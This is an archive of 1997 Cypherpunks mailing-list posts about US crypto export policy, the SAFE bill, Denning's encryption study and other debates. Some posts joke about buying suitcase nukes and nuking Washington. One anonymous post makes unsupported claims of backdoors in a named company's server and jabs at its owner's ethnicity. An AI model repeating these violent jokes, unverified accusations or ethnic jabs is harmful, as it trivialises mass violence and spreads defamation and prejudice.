 60,000 of whom reside in the U.S.  USACM, the Association for
Computing's U.S. Public Policy Office, serves as the focal point
for ACM's interaction with U.S. government organizations,
 the computing community and the U.S. public in all matters of
U.S. public policy related to information technology. The USACM
web site is located at http://www.acm.org/usacm/

For more information, please contact USACM Chair Barbara Simons at
408/256-3661 or USACM Associate Director Lauren Gelman at 202/544-4859.

/\ /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Association for Computing,             +   http://www.acm.org/usacm/
Office of U.S. Public Policy           *   +1 202 544 4859 (tel)
666 Pennsylvania Ave., SE Suite 302 B  *   +1 202 547 5482 (fax)
Washington, DC 20003   USA             +   gelman@acm.org

To subscribe to the ACM Washington Update, send e-mail to: listserv@acm.org
with "subscribe WASHINGTON-UPDATE name" (no quotes) in the body of the
message.



----- End of forwarded message from ACM US Public Policy Office -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cypherpunks Maintenance Account <cpunks@www.video-collage.com>
Date: Wed, 10 Sep 1997 21:11:12 +0800
To: cpunks@www.video-collage.com (Cypherpunks Maintenance Account)
Subject: Re: Infoworld and Denning's study (fwd)
Message-ID: <199709101302.JAA00934@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



----- Forwarded message from Peter Gutmann -----

>From cpunks  Tue Sep  9 00:08:29 1997
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
To: cryptography@c2.net
Subject: Re: Infoworld and Denning's study
Reply-To: pgut001@cs.auckland.ac.nz
X-Charge-To: pgut001
X-Authenticated: relaymail v0.9 on cs26.cs.auckland.ac.nz
Date: Tue, 9 Sep 1997 15:58:02 (NZST)
Message-ID: <87377748221122@cs26.cs.auckland.ac.nz>
Sender: owner-cypherpunks@toad.com
Precedence: bulk

 
>Infoworld NZ has just published an awful article (written by US reporter Sari 
>Kalin and titled "Criminals Eyeing Encryption"), which emphasises repeatedly 
>that encryption is a major problem just waiting to happen, using Dorothy 
>Dennings report as a basis.  This represents a rather ugly way to interpret 
>the report (and, presumably, an attempt by the USG to recover something from 
>a report which was supposed to come down firmly in favour of crypto 
>restrictions but didn't).  
 
Due to the late hour I got that wrong, it's Computerworld NZ, not Infoworld 
(slight difference in naming).  Even later last night I wrote a letter to the 
editor which, I gather, will appear in the next issue.  I've included it below 
in case anyone finds it useful, it's written for a general audience who 
probably aren't aware of the deeper issues apart from the fact that the USG 
has a peculiar attitude towards crypto, due to length constraints I couldn't 
go into too much detail.  If you feel the need to circulate this, please don't 
do so until after next Monday when it's officially published.
 
Peter.
 
-- Snip --
 
The article "Crims eyeing encryption" in the September 9 Computerworld 
presents an extremely peculiar view of the study "Encryption and Evolving 
Technologies in Organised Crime and Terrorism".  The final conclusion of the 
study was that there is no real "encryption problem" which justifies placing 
limitations on the use of encryption, and yet the article, by more or less 
ignoring the conclusion and concentrating instead on a number of 
scaremongering quotes, manages to create exactly the opposite impression.  To 
understand what's involved here, it might be useful to know a bit about the 
background of the study.
 
For a number of years the US government has held that it needs to strongly 
restrict peoples access to encryption.  They can't actually provide you with 
any supporting facts for this because they're all classified, but if they were 
allowed to tell you, they're certain you'd agree with them.  Now over the 
years they came to the realisation that people weren't really buying this 
argument, and so they decided to create a study which would provide proof, 
once and for all, that they were right.  The two people who worked on this 
study were Dorothy Denning, virtually the only supporter of the US governments 
policy apart from the US government itself, and a vice-president of SAIC, a 
large defence contractor.
 
They toiled away for quite some time, and finally announced their results a 
month or two back.  Unfortunately the findings put them in a rather awkward 
position: Although the study was supposed to provide proof that there was some 
sort of "encryption problem" which needed to be countered, it instead showed 
that there wasn't really a problem at all.  Sure, it showed that criminals 
occasionally use encryption, just like criminals also drive cars, eat pizza, 
drink Coke, and (quite probably) read Computerworld.  The important point - 
which was almost completely ignored in the article in favour of running 
scaremongering quotes from a variety of US government officials - was that 
the "encryption problem", the whole reason for the governments' claimed need 
to restrict encryption, by and large didn't exist.
 
It got even worse for the government though.  So convincing was the evidence 
in the study that Denning - for years a very outspoken supporter of their 
policies - did an about-face and declared that she was no longer prepared to 
back government plans for restricting encryption until someone proved to her 
that there was a very good reason for it (this was reported in a number of US 
papers and publications which cover computer issues, so it was reasonably well 
known, eg "Denning unable to confirm FBI Assertions; alters her position" in 
the Mercury News, the largest silicon valley paper).  Although the governments 
star technical witness was unable to find any evidence that their position was 
valid, the Computerworld article, by resorting to selective quoting and 
innuendo, paints a very different, and quite inaccurate, picture.
 
(As a side-note, I find it amusing to read that the government policy relies 
on people handing over their encryption keys to them.  Quite apart from the 
question of why anyone would trust the US government with their keys, there's 
also the small problem that no criminal will ever do this - that's why they're 
criminals after all.  The only ones who'll ever get caught by this cunning 
plan are you and I).
 
-- Snip --
 
(I'm assuming most readers will get the Baldrick/Blackadder reference in the 
last sentence :-).
 

----- End of forwarded message from Peter Gutmann -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 10 Sep 1997 14:56:40 +0800
To: cypherpunks@toad.com
Subject: Re: Bright, Loud and Quick OR...?
Message-ID: <199709100640.IAA15126@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote: 
>      At 09:20 AM 9/9/97 -0500, Frank wrote:
>      >>>>
>      Based on recent statements by "officials" of the former
>      Soviet Union a number of "suitcase" nukes are missing.
>      Possible sale price - $1,000,000. 
> <<<<
> $1,000,000 per suitcase nuke seems way to cheap. Heck, at that price,
> some individuals on this list might be in the market. What's the yield
> of these suitcase nukes?
> 
> BTW, any idea what the law has to say about private ownership of nukes
> by US citizens? Assume for a moment that the actual device is kept
> outside the US.

They are legal to own, as long as you don't carry them concealed on
your physical person.
It is legal to keep them in a locked suitcase.

Only two left. 10% discount for cypherpunks.
Can drop-ship to destination of your choice for no extra charge.
(I'll need the cash up front if you live in the DC area.)

Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 10 Sep 1997 15:05:21 +0800
To: cypherpunks@toad.com
Subject: Re: Government shows its hand...good news!
Message-ID: <199709100643.IAA15344@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> At 8:12 PM -0700 9/9/97, Declan McCullagh wrote:
> >Let me clarify my earlier comments. The language sez Defense & Commerce
> >together can veto crypto exports, and:
> >
> >"Decisions made by the Secretary of Commerce with the concurrence of the
> >Secretary of Defense with respect to exports of encryption products under
> >this section shall not be subject to judicial review."
> 
> Then this is _not_ the sense in which you seemed to be implying that the
> Supreme Court would be precluded from declaring the law unconstitutional.

Read it and think about it...

This kind of bureaucratic dildo is a subtle way of affording the Lying 
Nazi Fucks (TM) in power a way to _interpret_ the law unconstitutionally
without having it subject to "judicial review."
Ipso facto, you are mucho fuckedo by an unconstitutional interpretation
of a constitutional law.

Add to the above, the fact that unelected semi-secret committees of 
administration appointees will be exchanging bum-buddy favors with
the people doing the interpreting, and you will find a set of 
'established' procedures--from the White House down to the lowly
clerk that stamps "Denied" on your application to speak your native
tongue during overseas phone calls--which will _support_ the fascist's
case if you ever _do_ manage to get them into court.
(Much like the post of our Cpunk avon lady who sent the CFA post down
showing how the Alberta lawyer got suckered into comparing his stance
against gun registration to an 'established' unconstitutional law
against handgun registration.)

The deciding factor in a case such as this, from my experience, is
when the government whines about the terrible burden they would be
placed under if they were forced to go out and by an "Accepted"
rubber-stamp, at which point the judge decides that this would
take away from the available funds for nuclear warheads, and then
National Security would be compromised.
Ruling: Citizens, assume the position.

PositionMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 10 Sep 1997 14:56:30 +0800
To: cypherpunks@toad.com
Subject: Re: GAK patents, anyone?
Message-ID: <199709100643.IAA15354@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> >New patent applications are normally taken up for
> >examination in the order of their effective United States
> >filing date.  However, the Commissioner may provide that a
> >patent application will be advanced out of turn for
> >examination if a petition to make the patent application
> >special under 37 CFR 1.102(c) or (d) is granted.
> >
> >International terrorism as defined in 18 U.S.C. 2331 is
> >"activities that
> >(B) appear to be intended ...
> >(ii) to influence the policy of a government by intimidation or
> >coercion; 

I was just granted a copyright on all of Tim May's 'Nuke DC' posts.
Every time he quotes them, he owes me a nickle.

> >or (iii) to affect the conduct of a government by
> >assassination or kidnaping."
> ...

Jim Bell, too.

God, I *love* this government.

? the lunatic
p.s. - CypherPunks posts are now considered munitions under the
secret laws that nobody knows about. Remember, ignorance of the
secret laws is no excuse.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 10 Sep 1997 21:39:17 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The "Vision" Thang, and Tales out of School...
In-Reply-To: <v03110763b03bcc88dbc4@[139.167.130.247]>
Message-ID: <v03110769b03c36b46dbf@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:36 am -0400 on 9/10/97, Tim May wrote:


> Nonsense. A lot of those machines are running Linux, or other flavors of
> Unix. And lots of other microprocessors comparable in every way to Intel's
> processors are running the Mac OS, or some flavor of Unix, or whatever.

I'd love to see the numbers on that. Though, I wonder where the "90% of the
world's computers" hype comes from...

> Had MS never existed, the world would still be consuming vast amounts of
> microprocessors. Possibly more, many of us think.

Yes. But would they be, in such a large proponderance, Intel processors?

Granted, I was a little quick on the draw with the "last 10 years of Intel
existance" crack. Intel would certainly still be here, but, without the x86
demand, caused primarily by DOS, and especially by WIN3.1, maybe they
wouldn't be so much in the catbird seat. Of course, they've had a "vision
thang" of their own at Intel. They own the Valley franchise, certainly.

> ( I use a Mac, as may be known to many of you. The issue of the OS is
> separable from the issue of the processor...the Mac OS is no more tied to
> the Motorola 680X0 than the MS OS is tied to the Intel x86. Indeed, the Mac
> OS runs on the IBM/Motorola PowerPC, and the Windows NT OS runs on the DEC
> Alpha (and used to run on the PPC).

Yes, yes, yes. And Apple, according to Don Crabb this week, is gonna use
IBM and probably Intel chips, too, some day, though I'm not sure what
machine *you* use has to do with this discussion. The comment about Intel
was certainly not a shot at you, Tim, after all...

> >My understanding is that for all his apopletic "code reviews", Billzebub
> >couldn't code his way out of a paper bag.
> >
>
> Also nonsense.

Really? I have cited a source to the contrary. Would you like to provide
your own proof of Bill Gates' programming ability instead? I'd love myself
to see the commented code, even from, say, QuickBASIC, with the ';--BG' or
something, next to the revisions... Don't even need whole modules. Frankly,
I've never heard of any, and you can bet that the Redmond publicity machine
would have said something by now after 10 years.


> >Nonetheless, people who didn't share his "vision", like IBM, and DEC, and
> >now Apple, and all the rest of his competition, got their clocks cleaned.
>
> Utter nonsense. I lack the time to write about the early history of MS,
> Seattle Computers, and Gary Kildall, but to make this claim above indicates
> Bob is sacrificing objectivity for some sort of cheap shot in favor of MS.

I didn't think I was saying anything that wasn't conventionally accepted
opinion, there. :-).

I think you're just disputing this because *I* said it, Tim. Sort of a bad
reason to argue, isn't it?

After all, I'm a certified Mac Bigot, myself, if you insist on
psychoanalyzing my motivation from a two line sentence. :-). It seems to me
a fortune now measured in tens of billions of dollars, and the most
plutographic magazine in the world calling him the richest man on the
planet kind of speaks  for itself, wouldn't you?

> I used to know Kildall, when he was hanging around Intel in the mid-70s,
> and up until two weeks before his death. The situation was a lot more
> nuanced than this "vision of Bill" argument suggests.

Yeah, I know, Tim. You *knew* Gary Kildall, and Bill Gates is *no* Gary
Kildall. :-). He certainly wasn't.

> Are you making this stuff up as you go along? You spout about the "vision
> of Bill," but then you fantasize about how he and Paul got Altair Basic
> out.

Actually, don't blame me. My fantasy life isn't *that* healhy. It's in that
'Hard Drive' book, and I expect that the authors, particularly as they
hoped to remain employed in Seattle at the time :-), probably had their
facts straight.

> As it happens, I also know the founders of Zilog, and the Z-80 was not
> available at the time the Altair and IMSAI machines were gaining
> popularity. (A friend of mine designed the IMSAI 8080, the first
> semi-decent S-100 machine. I'm tempted to e-mail this fantasy to him and
> give him his laugh for the evening.)

Okay. Granted I had the chip name wrong. That was what the little (?) was
for next to the chip's name for, anyway. Sorry, but at midnight I wasn't
about to wake the fact checking department for the company name. However,
the fact is that the chip emulator was at Harvard, as was the PDP-11 BASIC
source, and the claim was made by several people who were there at the
time, to the authors of "Hard Drive", that Allen and Gates did use both the
emulator and the BASIC source, on the Harvard machines, to port the DEC
BASIC to the chip which the Altair used (whatever it was), which they in
turn took to Albuquerque and MIPS. (Or whatever the company's name was
which made the Altair, which is, like its chip manufacturer's name,
irrelevant to the point I was making.)

> The larger issues of Bill Gates' contributions, or whatever, to the world
> are much more nuanced than these fantasies would have it.

Sticks and stones, Tim. Insults don't become such well-known expositor of
rational thought...

And then Tim says:

> The issue of chip production is largely orthogonal to the issue of which OS
> is being used. Like I said, if one believes the critics of Windows, Intel
> would have sold _more_ chips had machines been less brain-damaged.

And refutes it with:

> Or maybe
> it takes a 200 MHz Pentium Pro to make up for the inefficient OS.

Which, of course proves, my point. Thank you. :-).


My own specious gerrymandering of your words aside, I do think that
software does drive hardware, as Microsoft folks, like Mhyrvold, often
claim, "Software is a gas", and all that. How else do you explain things
like the x86's imbedded floating point circuitry, and now the MMX stuff,
which will certainly end up on the x86 someday if Intel doesn't get RISC
religion...

Heck, the demand for RISC is, paradoxically, driven by software itself,
don't you think? Just move some microcode over to software and the chip
runs faster, or whatever the rationale is.

Could it be your desire to rip my heart out and show it to me before I die
is clouding your judgement about something you know a lot about?

Nawwww...


> But I won't buy the canonization of Bill Gates as the Engine of the
> Revolution.

Neither do I, even on the canonical inverse, my smart cracks about
"Billzebub" not withstanding. However, if money's the way you keep score,
n-dy billion dollars pretty much speaks for itself, I figure...

Seriously, there is something to be said for BillG's assimilative impulses
and understanding of the markets he's in. I would more certainly attribute
his fortune to his own "vision", than to dumb luck and path determinacy,
which is what I think I hear you saying.

Clearly, the market would look different without Bill Gates in it. I
attibute that to "grand vision".

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Syniker@aol.com
Date: Wed, 10 Sep 1997 22:12:57 +0800
To: tcmay@got.net
Subject: Re: House National Security committee guts SAFE, worse than no bill
Message-ID: <970910100256_1820133882@emout11.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



>>Perhaps it's time to dare the Feds to prosecute you. Any volunteers?<<

Me.
Whatever anyone else does, I'm going to first...
ignore any government mandates or law on crypto [use it anyway]
then, challenge them... and finally, defy them. Period.
That's where I'm at.
And, I'm going to tell them that's what I'm going to do.
On any website I can.

Larry.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marvin Long <marvin@fc.net>
Date: Wed, 10 Sep 1997 23:32:57 +0800
To: cypherpunks@toad.com
Subject: Re: your mail
In-Reply-To: <o56aJJonOs7lC59wfzdVlQ==@bureau42.ml.org>
Message-ID: <Pine.BSF.3.96.970910100554.17346B-100000@freeside.fc.net>
MIME-Version: 1.0
Content-Type: text/plain





On Wed, 10 Sep 1997, bureau42 Anonymous Remailer wrote:

> Jim Choate wrote:
> > Let's look at an admittedly contrived example but I believe it will suffice.
> > There are two fires at opposite ends of the coverage area for a fire house.
> > On Saturday they receive a call to go to one end, where the wealthy live.
> > Would you have the owner pay prior to the firemen putting the fire out?
> > Would they pay some premium beforehand? Now on Sunday a fire occurs on the
> > other end where the poor are. Assuming they can't pay the bill would the
> > firemen drive away? If so, wouldn't this in fact pose a threat not only to
> > the other poor but also the wealthy since the fire might spread if it got
> > large enough. Would the wealthy then be asked to pay for that run of the
> > fire truck? What if they refused, how would the firemen pay for the food to
> > feed their family? Perhaps go out and burn down more rich houses...
> 

Not contrived at all.  This is *exactly* how Crassus became the wealthiest
man in Rome.


Marvin Long, Jr.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unicorn <hvdl@sequent.com>
Date: Wed, 10 Sep 1997 16:37:09 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bright, Loud and Quick OR...?
In-Reply-To: <3.0.32.19970909092004.00721208@mail.airmail.net>
Message-ID: <19970910102352.64548@sequent.com>
MIME-Version: 1.0
Content-Type: text/plain



--- On Sep 09, Lucky Green apparently wrote -----------------------------------

> $1,000,000 per suitcase nuke seems way to cheap. Heck, at that price, some 
> individuals on this list might be in the market. What's the yield of these 
> suitcase nukes? 
> 
> BTW, any idea what the law has to say about private ownership of nukes by 
> US citizens? Assume for a moment that the actual device is kept outside 
> the US. 
> 
> Just asking rhetorical questions, 

Mmm, they seem real questions to me. I can't find the answer in there on
both the yield  nor private ownership... ;^) So what  is so "rhetorical"
about them?

> --Lucky Green <shamrock@netcom.com> 

--- and thus sprach: Lucky Green <shamrock@netcom.com> ------------------------

Ciao,
Unicorn.
-- 
======= _ __,;;;/ TimeWaster ================================================
     ,;( )_, )~\| A Truly Wise Man Never Plays   PGP: 64 07 5D 4C 3F 81 22 73
    ;; //  `--;     Leapfrog With a Unicorn...        52 9D 87 08 51 AA 35 F0
==='= ;\ = | ==== Youth is not a time in life, it's a State of Mind! ========





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 10 Sep 1997 22:40:53 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Nuclear Hedge Funds / Social Engineering in History /  Wiretap DiFi
Message-ID: <199709101429.KAA08180@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:14 PM 9/9/97 -0400, declan wrote:
>
...
>I'd like to ask that if anyone is planning to Nuke Washington, they
>politely let me know so I can go on an extended business trip to the
>Montana mountains. I mean, it's just common courtesy!
...
What? And have another Juy Falkes Disaster?
One of Guy Falkes co-conspirators warned a parlament member who happened to
be Catholic to stay clear on the appointed day, that is how word got out.
You would feel compelled to tell your closest friends.  Who would, if they
didn't just blab outright, tell others that they might want to leave.
Ultimately, someone who dates a congressional aide will tell the aide, who
having a certain loyalty to the congressperson would warn the
congressperson, etc...
No, it's best that you die.
But at least you'll die a martyr.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonah Seiger <jseiger@cdt.org>
Date: Wed, 10 Sep 1997 23:13:15 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: House National Security committee guts SAFE, worse than nobill
In-Reply-To: <v03102807b03ba8918f73@[204.254.22.8]>
Message-ID: <v03102801b03c4d8eae63@[207.226.3.4]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:52 PM -0700 9/9/97, Declan McCullagh wrote:
>On Tue, 9 Sep 1997, Jonah Seiger wrote:
>
>> I am not suggesting that we should relax because the Administration is not
>> completely satisfied with this provision. They scored a hit against SAFE,
>> just like we won one at the Foreign Relations Committee.  Border skirmishes
>> in the larger, ongoing war.
>
>The war in Congress is essentially over. There is no realistic hope of
>good crypto legislation passing. I'd be interested to hear any
>hypothetical that you'd suggest to the contrary. Keep in mind when
>concocting it that you'd have to get past the Senate -- where pro-crypto
>legislation has been dead for months -- and a presidential veto.

I agree that things look pretty bleak and that the chances for passing good
crypto legislation are not so good at the moment.  And, for the record, CDT
strenuously opposes the amended SAFE bill, S. 909, and the various
proposals coming from the FBI.  We also do not see a way to reconcile these
proposals, and are not working for a "deal" (sorry Seth).

We plan on opposing these bills by vigorously engaging in the process --
being there at every turn to tell the Congress and the Administration why
they are wrong, why key recovery won't work, and why export relief is
necessary to promote privacy and security on the Net in a way that is
constructive and moves the issue forward.

Lets step back for a moment and look at the bigger picture.

We all agree that the status quo is not good for privacy.  The Bernstein
case was important in proving our rhetorical points (and good for
Bernstein), but it didn't topple the current export policy, which we all
know is crippling the widespread availability of strong, easy-to-use crypto.

The Administration WANTS legislation to impose key recovery and wants
continued export restrictions.  It has passed the Senate Commerce
Committee, it's in the current export policy, and the FBI is likely to get
it approved by the Intelligence committee tomorrow.

If they succeed and mandatory key recovery becomes law, there will
certainly be court challenges (and CDT would join that fight), but it won't
be as clear cut as the CDA case was, and it's doubtful we would have the
strength (and the resources) of as broad a coalition of plaintiffs.  We may
be right, but that doesn't guarantee victory.

Eventually, if we want to achieve anything, we will need to change the
current policy.  We do not believe that can be accomplished by simply by
being 'obstructionists'.  We do believe that it can be accomplished by
engaging in the process, letting Congress and the Administration know that
we care about this issue, and are willing to fight for what we believe. We
are not ready to give up just because we took a hit in the National
Security Committee.

Hope that helps clarify.

Jonah




* Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crypto.com/adopt

--
Jonah Seiger, Communications Director              (v) +1.202.637.9800
Center for Democracy and Technology              pager +1.202.859.2151
<jseiger@cdt.org>
                                                    PGP Key via finger
http://www.cdt.org
http://www.cdt.org/homes/jseiger










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stonedog@ns1.net-gate.com
Date: Wed, 10 Sep 1997 23:07:13 +0800
To: cypherpunks@Algebra.COM
Subject: Re: GAK patents, anyone?
Message-ID: <Pine.BSI.3.96.970910105528.1275C-100000@ns1.net-gate.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 9 Sep 1997, Sean Roach wrote:

> At 01:34 AM 9/9/97 +0200, Anonymous wrote:
>
> >International terrorism as defined in 18 U.S.C. 2331 is
> >"activities that
> >(A) involve violent acts or acts dangerous to human life
> >that are a violation of the criminal laws of the United
> >States or of any State, or that would be a criminal
> >violation if committed within the jurisdiction of the United
> >States or of any State; (B) appear to be intended (i) to
> >intimidate or coerce a civilian population; (ii) to
> >influence the policy of a government by intimidation or
> >coercion; or (iii) to affect the conduct of a government by
> >assassination or kidnaping."

I can't read this paragraph without shaking my head in awe. Even if their
motives were for the best, which is certainly debateable, who here _can't_
think of a few incidents where our own government's agencies were involved
in _exactly_ these sorts of activities?  I realize that I'm not saying
anything that hasn't been noted time and again in this forum, but I
suppose I'm young enough that this sort of blatant doublespeak just blows
my mind.

-stonedog







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Wed, 10 Sep 1997 23:21:28 +0800
To: Cypherpunks Distributed Remailer <cypherpunks@ssz.com>
Subject: Re: Removing Tyranny from Democracy (Part II), (fwd)
In-Reply-To: <199709101225.HAA10299@einstein.ssz.com>
Message-ID: <97Sep10.111021edt.32259@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 10 Sep 1997, Jim Choate wrote:

> Forwarded message:
> 
> > From: amp@pobox.com
> > Date: Tue, 09 Sep 1997 22:49:25 -0500
> > Subject: Re: Removing Tyranny from Democracy (Part II), (fwd)
> 
> > >  From: Jim Choate <ravage@ssz.com>
> > >
> > >Please be so kind as to detail your top three flaws...
> > 
> > 1. In a democracy, 51% of the people can vote to enslave the other 49%
> 
> Not in this democracy they don't. In every democracy currently extant there
> is a bill of rights. The government may not respect it, but that is a flaw
> of implimentation not theory.

You asked what are the top three flaws in democracy, not if they could be
remediated, or what those remediations might be.  If your aim is the best
form, then it might be a mixture of different forms with separation of
powers.  But then you are defending the mix, not the component.

When you say "Not in this democracy", are you defending the form because
it has a democratic component and because it is limited (since I don't
think you aren't argumenting that this component should be expanded), or
because you are using the word "democracy" in the broader sense to
describe the mixture? 

> > 2. In a democracy, you can't have property rights because 51% can
> > capriciously decide to confiscate anyone's property.
>
> See above.

The problem is that they do.  Otherwise where does the support for
"progressive" taxation come from?  The 51% vote to tax (confiscate the
property of) the 49%.  The "middle class" majority votes itself
entitlements at the expense of both the poor and the rich.  Social
Security taxes the working poor to subsidize the healthcare of elderly
regardless of assets or income.  These did not come from courts, or
executive orders.

This is not a mere implemetation problem.  If you have any democratic
component, it will eventually infect all levels - the legislature will
withold funds, the executive will proclaim a crisis, elected judges will
declare what they were elected to declare, and in most systems the elected
branches appoint the nonelected branches - pack the presidency and the
senate and you have packed the supreme court.

Or consider the ammendment on Prohibition.

When 51% of the people fear government and refuse on principle to vote it
any more power, we are safe.  When 51% of the people can be bribed with
the wealth of even 1%, we are lost.  So democracies require virtue from
the people that will deny themselves the short term benefits of
transferring power.  Another implementation problem?  If we were all
saints, we would not need any government.

The moment the people think the government is the servant it will become
the master because they will slowly but eventually vote it totalitarian
powers.  

Back at the 16th ammendment, the income tax was only going to be 2% on the
superrich.  Or look at what the "Four Horseman" are doing in today's
democracies.

"Concede the principle of limiting government - just in this one little
area - and we will make everything better - all you have to do is vote". 

--- reply to tzeruch - at - ceddec - dot - com ---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 10 Sep 1997 23:24:29 +0800
To: cypherpunks@toad.com
Subject: Re: C2Net bastards (Was: Mondex Broken
In-Reply-To: <199709101130.NAA11584@basement.replay.com>
Message-ID: <Pine.SUN.3.96.970910111341.24409A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 10 Sep 1997, Anonymous wrote:

> For those who still don't know what Tim May means, the barratrous
> threats came from the crypto snake oil peddler C2Net and its Arab
> owner Sameer Parekh.
> 
> Sameer's "product", StrongHold, is a hacked version of the free Web
> server Apache, and has more backdoors and security holes than
> Swiss cheese.

Well Vulis^h^h^h^h^hAnonymous, care to tell us what those holes are so we
can use them?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jordan@macandco.com (Jordan McCrackin) (by way of Alec McCrackin <camcc@abraxis.com>)
Date: Wed, 10 Sep 1997 23:38:34 +0800
To: cypherpunks@toad.com>
Subject: Deadly Argyles [was Miami Vice]
Message-ID: <3.0.2.32.19970910112454.007cf330@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/enriched

 >>>>
Here's one:

http://cnn.com/US/9709/09/briefs.pm/crime.sock.reut/index.html

- Jordan

<<<<

He should have kept them rolled in his pants where they belong!

For the browser impaired:

[Begin quotation]

Police think sock is gun, shoot man

September 9, 1997
Web posted at: 7:43 p.m. EDT (2343 GMT) 

MIAMI (Reuter) -- A Florida man who covered his hand with a
sock to work on his car was recovering in the hospital Tuesday after
being shot by police who were told he had a gun. 

Bobby Whipple, 27, had wrapped his hand in a dark sock while
working on his car Saturday, prompting at least two people to alert
police to a man wielding a gun. 

After receiving the reports, 14 officers surrounded Whipple and five
of them, including one using a shotgun that shoots pellets, opened
fire when he did not respond to calls to put his "weapon" down. 

A spokeswoman at Jackson Memorial Hospital said Whipple was in
good condition. 

"Witnesses said that he had a gun and the officers assumed they
were correct ... He took the position of an aggressive stance," said
Pat Brickman, a spokesman for the Metro-Dade Police Department.
"At this point, we don't have any indication that they acted
inappropriately when faced with deadly force." 

The Miami Herald reported that Whipple's attorney was preparing a
civil rights lawsuit against the police department over the shooting. 

Copyright 1997 Reuters Limited. All rights reserved.












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rab@stallion.oz.au
Date: Wed, 10 Sep 1997 10:01:54 +0800
To: declan@well.com
Subject: RE: Nuclear Hedge Funds / Social Engineering in History /  Wiretap DiFi
Message-ID: <07514A6D4C1FD11180190000010380311154@mallory.stallion.oz.au>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> On Mon, 8 Sep 1997, Bill Stewart wrote:
> > However, we need to get off this "Nuke Washington!" kick,
> > and on to something more realistic like "Wiretap DiFi!"
> 
> I'd like to ask that if anyone is planning to Nuke Washington, they
> politely let me know so I can go on an extended business trip to the
> Montana mountains. I mean, it's just common courtesy!
Look on the bright side: You will probably never know what hit you :-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <adejoode@replay.com>
Date: Wed, 10 Sep 1997 18:59:17 +0800
To: ant@notatla.demon.co.uk (Antonomasia)
Subject: Re: Renaming TEA remailer
In-Reply-To: <199709092302.AAA05230@notatla.demon.co.uk>
Message-ID: <199709101049.MAA08027@basement.replay.com>
MIME-Version: 1.0
Content-Type: text



Do they own the trademark in the UK ? If not you can still use
Anonymizer for whatever service you are providing in the UK.

-- 
EOF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 10 Sep 1997 19:40:38 +0800
To: cypherpunks@toad.com
Subject: C2Net bastards (Was: Mondex Broken
In-Reply-To: <v03102804b03bc11c47c6@[207.167.93.63]>
Message-ID: <199709101130.NAA11584@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:

> You mean the way <elided> had lawyers send threatening letters to <elided>
> warning him not to further publicize the claimed security flaws in
> <elided>, the security product sold by <elided>?
>
> I myself received a phone call from <elided>, warning me to not to even
> make reference to the rumors that <elided> had flaws in it.
>
> Some of you know what I mean.

